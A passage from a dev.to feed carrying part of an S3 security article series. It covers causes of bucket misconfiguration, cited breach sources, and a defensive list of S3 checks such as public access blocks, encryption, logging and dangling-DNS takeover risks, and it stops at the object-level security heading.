&lt;p&gt;After years of working with organizations on their AWS security, I’ve identified three main reasons:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Speed Over Security
&lt;/h4&gt;

&lt;p&gt;In the rush to deploy applications, security is often an afterthought. “We’ll lock it down later” becomes “We forgot to lock it down at all.” S3 makes it so easy to get things working that teams move on before implementing proper security controls.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Complexity of Cloud Security
&lt;/h4&gt;

&lt;p&gt;AWS provides powerful security features, but understanding and correctly implementing them requires expertise. The shared responsibility model means AWS secures the infrastructure, but you’re responsible for securing your configurations. Many teams don’t fully understand where that line is.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Lack of Visibility
&lt;/h4&gt;

&lt;p&gt;You can’t secure what you can’t see. Organizations often don’t have clear visibility into all their S3 buckets, their configurations, and who has access to them. Shadow IT and forgotten test buckets create blind spots.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Stakes Have Never Been Higher
&lt;/h3&gt;

&lt;p&gt;GDPR fines can reach up to 4% of annual global revenue for unencrypted personal data. HIPAA violations can cost $50,000+ per exposed patient record. PCI-DSS violations can result in loss of card processing privileges. Beyond regulatory fines, there’s the reputational damage, customer lawsuits, and the human cost of having your personal information exposed.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s Next
&lt;/h3&gt;

&lt;p&gt;In the next article, I’ll dive deep into the specific security checks every S3 bucket needs and the compliance frameworks (CIS, AWS FSBP, PCI-DSS, HIPAA, SOC 2, ISO 27001/27017/27018, and GDPR) that drive these requirements. We’ll look at what each check protects against and why it matters.&lt;/p&gt;

&lt;p&gt;In Part 3, I’ll introduce a tool I built to automate these security assessments — born out of my own frustration with manually checking bucket configurations across multiple accounts.&lt;/p&gt;

&lt;p&gt;And in Part 4, we’ll cover step-by-step remediation for every security issue, with AWS Console, CLI, and Python examples you can use immediately.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;2017 Breaches&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.upguard.com/breaches/the-rnc-files" rel="noopener noreferrer"&gt;UpGuard — The RNC Files: Inside the Largest US Voter Data Leak&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.upguard.com/breaches/verizon-cloud-leak" rel="noopener noreferrer"&gt;UpGuard — Cloud Leak: Verizon Partner Exposed Millions of Customer Accounts&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://businessinsights.bitdefender.com/worst-amazon-breaches" rel="noopener noreferrer"&gt;Bitdefender — Leaky Buckets: 10 Worst Amazon S3 Breaches&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2019 Capital One Breach&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.capitalone.com/digital/facts2019/" rel="noopener noreferrer"&gt;Capital One Official Statement on 2019 Cyber Incident&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://investor.capitalone.com/news-releases/news-release-details/capital-one-announces-data-security-incident" rel="noopener noreferrer"&gt;Capital One Investor Relations — Data Security Incident Announcement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cams.mit.edu/wp-content/uploads/capitalonedatapaper.pdf" rel="noopener noreferrer"&gt;MIT Case Study: A Case Study of the Capital One Data Breach&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dl.acm.org/doi/10.1145/3546068" rel="noopener noreferrer"&gt;ACM Transactions on Privacy and Security — Capital One Breach Analysis&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2020–2021 Breaches&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.upguard.com/news/amazon-twitch-data-breach" rel="noopener noreferrer"&gt;UpGuard — Amazon Twitch Data Breach&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://techcrunch.com/2021/10/06/hacker-leaks-twitch-source-code-and-creator-payout-data/" rel="noopener noreferrer"&gt;TechCrunch — Twitch confirms hack after source code and creator payout data leaks online&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://fortune.com/2021/10/06/twitch-data-leak-hack-source-code-creator-payouts-4chan/" rel="noopener noreferrer"&gt;Fortune — Twitch Leak Includes Source Code and Creator Payouts&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.gitguardian.com/security-threats-from-the-twitch-leak/" rel="noopener noreferrer"&gt;GitGuardian — Twitch Leak Deep Dive: Security Threats from Source Code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2022 Breaches&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://firewalltimes.com/amazon-web-services-data-breach-timeline/" rel="noopener noreferrer"&gt;Firewall Times — Amazon Web Services Data Breach Timeline Through 2023&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.darkreading.com/application-security/cloud-misconfig-exposes-3tb-sensitive-airport-data-amazon-s3-bucket" rel="noopener noreferrer"&gt;Dark Reading — Cloud Misconfig Exposes 3TB of Sensitive Airport Data in Amazon S3 Bucket&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.theregister.com/2022/12/20/mcgraw_hills_s3_buckets_exposed/" rel="noopener noreferrer"&gt;The Register — McGraw Hill’s S3 buckets exposed 100,000 students’ grades&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.vpnmentor.com/blog/report-mcgraw-hill-breach/" rel="noopener noreferrer"&gt;vpnMentor — Report: McGraw Hill Data Breach&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://edscoop.com/mcgraw-hill-amazon-s3-data-exposure-student-emails-grades/" rel="noopener noreferrer"&gt;EdScoop — McGraw Hill confirms data exposure of students’ emails and grades&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2023 Breaches&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/nagwww/s3-leaks" rel="noopener noreferrer"&gt;GitHub — S3 Leaks: List of S3 Hacks&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cyberpress.org/tata-motors-data-leak/" rel="noopener noreferrer"&gt;Cyberpress — Tata Motors Data Leak Exposes 70TB of Sensitive Information&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2024–2025 Breaches&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.websiteplanet.com/news/eshyft-breach-report/" rel="noopener noreferrer"&gt;Website Planet — ESHYFT Data Breach Report by Jeremiah Fowler&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.msspalert.com/brief/misconfigured-aws-s3-bucket-exposes-data-of-us-nurses" rel="noopener noreferrer"&gt;MSSP Alert — Misconfigured AWS S3 Bucket Exposes Data of US Nurses&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.upguard.com/breaches/india-bank-transfers-data-leak" rel="noopener noreferrer"&gt;UpGuard — Unclaimed Property: How an Unknown Entity Exposed Indian Banking Information&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://techcrunch.com/2025/09/26/thousands-indian-bank-transfer-records-found-online/" rel="noopener noreferrer"&gt;TechCrunch — Thousands of Indian bank transfer records found spilling online after security lapse&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c" rel="noopener noreferrer"&gt;Halcyon — Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.helpnetsecurity.com/2025/01/13/codefinger-encrypting-aws-s3-data-without-ransomware-sse-c/" rel="noopener noreferrer"&gt;Help Net Security — Attackers are encrypting AWS S3 data without using ransomware&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://aws.amazon.com/blogs/security/preventing-unintended-encryption-of-amazon-s3-objects/" rel="noopener noreferrer"&gt;AWS Security Blog — Preventing unintended encryption of Amazon S3 objects&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-006/" rel="noopener noreferrer"&gt;Cyber Security Agency of Singapore — Ongoing Campaign Targeting Amazon Web Services S3 Buckets&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Industry Reports and Standards&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://owasp.org/Top10/2021/A05_2021-Security_Misconfiguration/" rel="noopener noreferrer"&gt;OWASP Top 10 2021 — A05 Security Misconfiguration&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.lightspin.io/" rel="noopener noreferrer"&gt;Lightspin (now Gem Security) — S3 Bucket Misconfiguration Research&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://blog.qualys.com/vulnerabilities-threat-research/2023/12/18/hidden-risks-of-amazon-s3-misconfigurations" rel="noopener noreferrer"&gt;Qualys TotalCloud Insights — Hidden Risks of Amazon S3 Misconfigurations&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://clearpoint.digital/insights/misconfigured-exposed-forgotten-why-s3-is-still-a-problem-in-2025" rel="noopener noreferrer"&gt;ClearPoint Digital — Misconfigured, Exposed, Forgotten: Why S3 is Still a Problem in 2025&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://snyk.io/blog/aws-security-breaches/" rel="noopener noreferrer"&gt;Snyk — High Profile AWS Breaches: Lessons To Be Learned&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.blackfog.com/aws-data-breach/" rel="noopener noreferrer"&gt;BlackFog — AWS Data Breach: Lessons From 4 High Profile Breaches&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;AWS Documentation&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://aws.amazon.com/s3/" rel="noopener noreferrer"&gt;AWS S3 Official Page&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/solutions/case-studies/netflix-storage-reinvent22/" rel="noopener noreferrer"&gt;AWS Case Study: Netflix Storage&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>awss3</category>
      <category>aws</category>
      <category>infosec</category>
    </item>
    <item>
      <title>The Anatomy of S3 Security: 22 Checks That Stand Between You and a Data Breach</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Wed, 14 Jan 2026 09:48:30 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/the-anatomy-of-s3-security-22-checks-that-stand-between-you-and-a-data-breach-1i32</link>
      <guid>https://dev.to/tarekcheikh/the-anatomy-of-s3-security-22-checks-that-stand-between-you-and-a-data-breach-1i32</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F716lg29wpwhdaacw899q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F716lg29wpwhdaacw899q.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Part 2 of 4 in the S3 Security Series&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In the first article of this series, I walked through the major S3 data breaches of the past decade. The pattern was consistent: misconfigured buckets, missing encryption, inadequate access controls.&lt;/p&gt;

&lt;p&gt;Now let’s talk about what proper S3 security actually looks like.&lt;/p&gt;

&lt;p&gt;After years of working with AWS and helping organizations secure their cloud infrastructure, I’ve identified 22 critical security checks that every S3 bucket needs. These aren’t arbitrary recommendations — they’re derived from nine major compliance frameworks that the industry has settled on as best practices.&lt;/p&gt;

&lt;p&gt;Let me break them down for you.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Security Check Categories
&lt;/h3&gt;

&lt;p&gt;I organize S3 security into six main categories:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Access Control&lt;/strong&gt;  — Who can access your data and how
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption &amp;amp; Data Protection&lt;/strong&gt;  — Protecting data at rest and in transit
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Versioning &amp;amp; Lifecycle&lt;/strong&gt;  — Data recovery and retention
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitoring &amp;amp; Logging&lt;/strong&gt;  — Visibility into bucket activity
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNS Security &lt;/strong&gt; — Preventing subdomain takeover attacks
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Object-Level Security&lt;/strong&gt;  — Individual object permissions and CORS&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s dive into each.&lt;/p&gt;

&lt;h3&gt;
  
  
  Access Control: Your First Line of Defense
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjf764fbumttazgj2vsgc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjf764fbumttazgj2vsgc.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Public Access Block Configuration
&lt;/h4&gt;

&lt;p&gt;This is the single most important security control for S3. It’s your safety net — even if you accidentally misconfigure something else, Public Access Block prevents your bucket from becoming publicly accessible.&lt;/p&gt;

&lt;p&gt;There are four settings, and all four should be enabled:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;BlockPublicAcls&lt;/strong&gt;  — Prevents new public ACLs
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IgnorePublicAcls&lt;/strong&gt;  — Ignores existing public ACLs
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BlockPublicPolicy&lt;/strong&gt;  — Prevents new public bucket policies
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RestrictPublicBuckets&lt;/strong&gt;  — Restricts public bucket access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Remember the Capital One breach? A properly configured Public Access Block would have been one layer of defense against that attack.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Bucket Policy Analysis
&lt;/h4&gt;

&lt;p&gt;Bucket policies are JSON documents that define who can do what with your bucket. The two critical things to check:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No wildcard principals&lt;/strong&gt; : A policy with &lt;code&gt;” **_Principal”: “\*”_**&lt;/code&gt; grants access to everyone on the internet. Unless you’re intentionally hosting public content (and have other safeguards), this is almost never what you want.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSL enforcement&lt;/strong&gt; : Your bucket policy should deny any request that doesn’t use HTTPS. Without this, data transmitted to and from your bucket can be intercepted in transit.&lt;/p&gt;

&lt;p&gt;Here’s what an SSL enforcement policy looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
 "Version": "2012–10–17",
 "Statement": [{
 "Effect": "Deny",
 "Principal": "*",
 "Action": "s3:*",
 "Resource": ["arn:aws:s3:::your-bucket/*"],
 "Condition": {
 "Bool": {"aws:SecureTransport": "false"}
 }
 }]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. Bucket ACL Analysis
&lt;/h4&gt;

&lt;p&gt;Access Control Lists (ACLs) are a legacy access control mechanism. While AWS now recommends using bucket policies instead, ACLs are still supported and can create vulnerabilities.&lt;/p&gt;

&lt;p&gt;Check for grants to:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;**_AllUsers_**&lt;/code&gt; — Literally everyone on the internet
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;**_AuthenticatedUsers_**&lt;/code&gt; — Any AWS account holder (not just your organization)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Verizon breach I mentioned in Part 1? That was caused by a third-party vendor’s misconfigured ACLs.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Wildcard Principal Detection (CIS S3.2)
&lt;/h4&gt;

&lt;p&gt;This deserves its own check because it’s so dangerous. A wildcard principal (&lt;code&gt;” **_Principal”: “\*”_**&lt;/code&gt;) in a bucket policy effectively makes your bucket public to any AWS account globally.&lt;/p&gt;

&lt;p&gt;The barrier to exploitation is essentially zero — anyone with a free-tier AWS account can access your data.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Cross-Account Access (AWS FSBP S3.6)
&lt;/h4&gt;

&lt;p&gt;Even if you’ve blocked public access, you might be inadvertently sharing data with other AWS accounts. This check identifies bucket policies that grant access to external accounts.&lt;/p&gt;

&lt;p&gt;Sometimes cross-account access is intentional and necessary. But it should be documented and reviewed regularly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Encryption &amp;amp; Data Protection
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AemiN4DvDO0waewl4owkbAg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AemiN4DvDO0waewl4owkbAg.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  6. Server-Side Encryption
&lt;/h4&gt;

&lt;p&gt;Every S3 bucket should have default encryption enabled. When someone uploads a file, it should be encrypted automatically.&lt;/p&gt;

&lt;p&gt;AWS offers three options:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SSE-S3&lt;/strong&gt; : Amazon manages the keys (simplest)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSE-KMS&lt;/strong&gt; : You manage keys through AWS Key Management Service (more control)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSE-C&lt;/strong&gt; : You provide your own keys (most control, most complexity)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For most use cases, SSE-S3 or SSE-KMS is appropriate. The important thing is that something is enabled.&lt;/p&gt;

&lt;p&gt;Unencrypted data at rest is a compliance violation for virtually every framework: PCI-DSS, HIPAA, GDPR, SOC 2 — they all require encryption.&lt;/p&gt;

&lt;h4&gt;
  
  
  7. KMS Key Management
&lt;/h4&gt;

&lt;p&gt;If you’re using SSE-KMS (which you should for sensitive data), the key itself needs proper management:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Key rotation&lt;/strong&gt; : KMS keys should be rotated annually
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access controls&lt;/strong&gt; : Only necessary services and roles should have key access
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Customer-managed vs AWS-managed&lt;/strong&gt; : For sensitive data, customer-managed keys give you more control&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Versioning &amp;amp; Lifecycle Management
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AVTIxMBPoATzcli4mwHOX5g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AVTIxMBPoATzcli4mwHOX5g.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  8. Versioning Status
&lt;/h4&gt;

&lt;p&gt;Versioning keeps multiple copies of objects, allowing you to recover from accidental deletions or modifications. Think of it as version control for your data.&lt;/p&gt;

&lt;p&gt;Without versioning, if ransomware encrypts your S3 objects or a malicious insider deletes them, they’re gone. With versioning, you can restore previous versions.&lt;/p&gt;

&lt;h4&gt;
  
  
  9. MFA Delete (CIS S3.20)
&lt;/h4&gt;

&lt;p&gt;MFA Delete adds an extra layer of protection — even with valid credentials, someone can’t delete object versions without providing a valid MFA token.&lt;/p&gt;

&lt;p&gt;This is particularly important for:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Audit logs
&lt;/li&gt;
&lt;li&gt;Financial records
&lt;/li&gt;
&lt;li&gt;Compliance data
&lt;/li&gt;
&lt;li&gt;Backup files&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  10. Lifecycle Rules (AWS FSBP S3.13)
&lt;/h4&gt;

&lt;p&gt;Lifecycle rules automatically transition objects between storage classes or delete them after a specified period. This matters for security because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data minimization&lt;/strong&gt; : You shouldn’t keep data longer than necessary (GDPR requirement)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attack surface reduction&lt;/strong&gt; : Less data = less exposure if breached
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost management&lt;/strong&gt; : Old data should move to cheaper storage tiers&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  11. Object Lock
&lt;/h4&gt;

&lt;p&gt;Object Lock provides WORM (Write Once, Read Many) capability — objects cannot be deleted or overwritten for a specified period.&lt;/p&gt;

&lt;p&gt;Two modes exist:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Governance mode&lt;/strong&gt; : Can be overridden by users with specific permissions
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance mode&lt;/strong&gt; : Cannot be overridden by anyone, including the root user&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is essential for regulatory compliance where you need to prove data hasn’t been tampered with.&lt;/p&gt;

&lt;h3&gt;
  
  
  Monitoring &amp;amp; Logging
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AB_t6_jEo-Gk0nFIc_zcifA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AB_t6_jEo-Gk0nFIc_zcifA.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  12. Server Access Logging
&lt;/h4&gt;

&lt;p&gt;Server access logging records all requests to your bucket. Without it, you have no audit trail.&lt;/p&gt;

&lt;p&gt;If a breach occurs, the first question investigators ask is: “What was accessed?” Without logs, you can’t answer that question.&lt;/p&gt;

&lt;p&gt;This is required by:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HIPAA (audit controls)
&lt;/li&gt;
&lt;li&gt;SOX (financial audit trails)
&lt;/li&gt;
&lt;li&gt;PCI-DSS (cardholder data access tracking)
&lt;/li&gt;
&lt;li&gt;GDPR (demonstration of compliance)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  13. Event Notifications (CIS S3.11)
&lt;/h4&gt;

&lt;p&gt;Event notifications trigger actions when specific events occur in your bucket — object creation, deletion, or restoration.&lt;/p&gt;

&lt;p&gt;For security, this enables:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Real-time alerting on suspicious activity
&lt;/li&gt;
&lt;li&gt;Automated incident response
&lt;/li&gt;
&lt;li&gt;Integration with SIEM systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  14. Cross-Region Replication (CIS S3.13)
&lt;/h4&gt;

&lt;p&gt;Replication copies objects to a bucket in another region. This provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Disaster recovery&lt;/strong&gt; : Regional outages won’t result in data loss
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ransomware protection&lt;/strong&gt; : If your primary bucket is compromised, you have a backup in another region
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance&lt;/strong&gt; : Some regulations require geographic redundancy&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Threat Detection
&lt;/h3&gt;

&lt;h4&gt;
  
  
  15. GuardDuty S3 Protection
&lt;/h4&gt;

&lt;p&gt;Amazon GuardDuty is AWS’s threat detection service. When enabled for S3, it monitors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Anomalous data access patterns
&lt;/li&gt;
&lt;li&gt;Unauthorized access attempts
&lt;/li&gt;
&lt;li&gt;Data exfiltration attempts
&lt;/li&gt;
&lt;li&gt;Compromised credentials accessing S3&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is your early warning system for attacks in progress.&lt;/p&gt;

&lt;h4&gt;
  
  
  16. Amazon Macie
&lt;/h4&gt;

&lt;p&gt;Macie uses machine learning to automatically discover and protect sensitive data:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PII (Personally Identifiable Information)
&lt;/li&gt;
&lt;li&gt;PHI (Protected Health Information)
&lt;/li&gt;
&lt;li&gt;Financial data (credit cards, bank accounts)
&lt;/li&gt;
&lt;li&gt;Credentials and secrets&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can’t protect data you don’t know about. Macie helps you find sensitive data you might not realize you’re storing.&lt;/p&gt;

&lt;h3&gt;
  
  
  DNS Security
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A49RIGm9aIuSpAphce4E5wg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A49RIGm9aIuSpAphce4E5wg.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  17. Route53 DNS Record Analysis
&lt;/h4&gt;

&lt;p&gt;This is a critical and often overlooked vulnerability. If you have DNS records (CNAMEs) pointing to S3 buckets that no longer exist, attackers can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a bucket with the same name
&lt;/li&gt;
&lt;li&gt;Serve malicious content on your domain
&lt;/li&gt;
&lt;li&gt;Harvest credentials through phishing
&lt;/li&gt;
&lt;li&gt;Damage your reputation&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I’ve seen this happen more times than I’d like to admit. A team decommissions a project, deletes the S3 bucket, but forgets to remove the DNS record. Months later, someone discovers it and claims the bucket.&lt;/p&gt;

&lt;h4&gt;
  
  
  18. CNAME Information Disclosure
&lt;/h4&gt;

&lt;p&gt;Even if your DNS records point to valid buckets, the bucket names themselves can leak information:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;company-prod-api-v2.s3.amazonaws.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This tells an attacker your naming convention. They can then guess:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;company-staging-api-v2&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;company-dev-database-backup&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;company-prod-secrets&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use non-descriptive bucket names or CloudFront to obscure your S3 endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  Object-Level Security
&lt;/h3&gt;

